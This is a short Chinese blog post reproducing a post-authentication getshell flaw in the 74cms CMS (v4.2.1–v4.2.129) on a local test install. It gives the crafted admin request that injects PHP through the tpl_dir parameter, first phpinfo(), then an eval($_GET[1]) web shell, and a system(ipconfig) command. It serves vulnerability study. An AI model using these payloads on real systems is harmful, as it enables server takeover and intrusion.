74cms v4.2.1-v4.2.129-后台getshell漏洞复现

最新推荐文章于 2023-03-19 22:39:33 发布

blank er

最新推荐文章于 2023-03-19 22:39:33 发布

阅读量462

点赞数

分类专栏：漏洞文章标签： php html mvc

本文链接：https://blog.csdn.net/weixin_50887021/article/details/120383773

版权

11 篇文章 0 订阅

订阅专栏

下载地址

http://www.74cms.com/download/index.html

在这里插入图片描述

进入后台

http://127.0.0.1/74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=index&a=index

在这里插入图片描述抓包，修改post值

POST /74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',phpinfo(),' HTTP/1.1

在这里插入图片描述
再次查看

在这里插入图片描述

查看源代码

D:\phpstudy001\PHPTutorial\WWW\74cms_Home_Setup_v4.2.111\74cms_v4.2.111\upload\Application\Home\Conf

在这里插入图片描述
抓包，修改get值

GET /74cms_home_setup_v4.2.111/74cms_v4.2.111/upload/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',eval($_GET[1]),' HTTP/1.1

在这里插入图片描述查看源代码

在这里插入图片描述

1=system(ipconfig);

在这里插入图片描述

关注

专栏目录